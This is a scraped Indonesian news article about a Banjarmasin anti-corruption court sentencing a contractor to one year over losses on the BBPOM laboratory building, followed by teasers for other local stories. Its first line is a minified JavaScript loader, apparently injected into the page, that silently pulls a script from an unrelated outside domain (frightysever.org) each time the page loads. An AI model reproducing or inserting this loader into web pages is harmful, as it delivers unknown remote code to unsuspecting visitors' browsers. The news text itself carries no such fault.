(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Vonis Ringan Kasus Korupsi Pembangunan Gedung BBPOM Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Perkara kasus korupsi pembangunan tahap III gedung Balai Besar Pengawas Obat dan Makanan (BBPOM) Banjarmasin memasuki babak akhir.

Majelis hakim Pengadilan Tipikor telah menjatuhkan vonis kepada terdakwa Heri Sukatno, Kamis (7/3/2024) siang.

Dalam putusan, Direktur PT Bumi Permata Kendari itu dinyatakan tidak terbukti bersalah melakukan tindak pidana korupsi sebagaimana dakwaan primair pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat 1 KUHP.

Meski terbebas dari dakwaan primair penuntut umum, Heri Sukatno dinyatakan terbukti secara sah dan meyakinkan bersalah melakukan korupsi secara bersama-sama sebagaimana dakwaan subsidair pasal 3 jo pasal 18 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) KUHP.

Baca juga: Tawarkan Kencan Via Aplikasi, SL Terciduk Satpol PP ‘Siap Layani’ di Kos

Karena hanya terbukti dakwana subsidair, majelis hakim yang diketuai Suwandi hanya mengganjar terdakwa Heri Sukatno dengan pidana penjara selama 1 tahun atau lebih ringan 3 bulan dari tuntutan jaksa penuntut umum.

“Menjatuhkan pidana kepada terdakwa Heri Sukatno dengan pidana  penjara selama 1 tahun dikurangi masa tahanan dan membayar denda Rp50 juta subsidair 3 bulan kurungan,” bunyi amar putusan majelis hakim.

Perbuatan terdakwa Heri Sukanto bersama pelaksana kegiatan pembangunan tahap III gedung BBPOM Banjarmasin dinyatakan telah merugikan keuangan negara sebesar Rp211 juta.

Hakim menyatakan pembayaran uang pengganti kerugian negara diperhitungkan dengan uang pengganti yang telah dititipkan terdakwa kepada Kejari Banjarmasin sebanyak dua kali yang totalnya sebesar Rp211 juta.

Baca juga: Jemaah Aolia Gunungkidul Memulai Puasa

Setelah pembacaan putusan, terdakwa yang hadir langsung di persidangan mengatakan menerima putusan majelis hakim alias tidak akan melakuakan upaya hukum banding.

“Terima yang mulia,” ucap Heri singkat.

Sementara itu jaksa penuntut umum dari Kejari Banjarmasin Ricky Purba memilih pikir-pikir sebelum memutuskan menerima putusan atau mengambil upaya hukum banding.

Sebelumnya, jaksa penuntut umum Kejari Banjarmasin menuntut Heri Sukanto telah melakukan korupsi pada proyek pembangunan BBPOM Banjarmasin yang berlokasi di perkantoran Pemprov Kalsel, Jalan Bina Praja Utara, Kota Banjarbaru.

Gedung laboratorium BPPOM Banjarmasin dibangun dalam beberapa tahap, sementara perusahaan milik terdakwa PT Bumi Permata Kendari mengerjakan pada tahun 2021 atau di tahap ketiga dengan anggaran sekitar Rp11 miliar.

Baca juga: Miliki Sabu Beserta Timbangan Digital Dua Warga Belitung Darat Ditangkap

Modusnya yaitu mengurangi volume pekerjaan sehingga pada pembangunan di tahap III menimbulkan kerugian negara. Belakangan terdakwa Heri meminjamkan perusahaannya itu kepada orang lain dalam pengerjaan proyek tahap III tersebut.

Hasil audit BPKP Kalsel, nilai kerugian negara yang timbul pada pembangunan Laboratorium BBPOM di tahap III tahun 2021 tersebut yaitu sebesar Rp211.082,953.

Tak hanya Heri, kasus korupsi pembangunan gedung BBPOM Banjarmasin ini juga menyeret kontraktor lain. Ridlan Mahfud Abdullah yang merupakan kontraktor pembanguna gedung BBPOM di tahap II tahun 2019 bernasib sama dengan terdakwa Heri. Perkaranya juga masih bergulir di Pengadilan Tipikor Banjarmasin. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor:  bie


Risa

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

2 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

3 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

3 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

3 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

3 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

4 jam ago

This website uses cookies.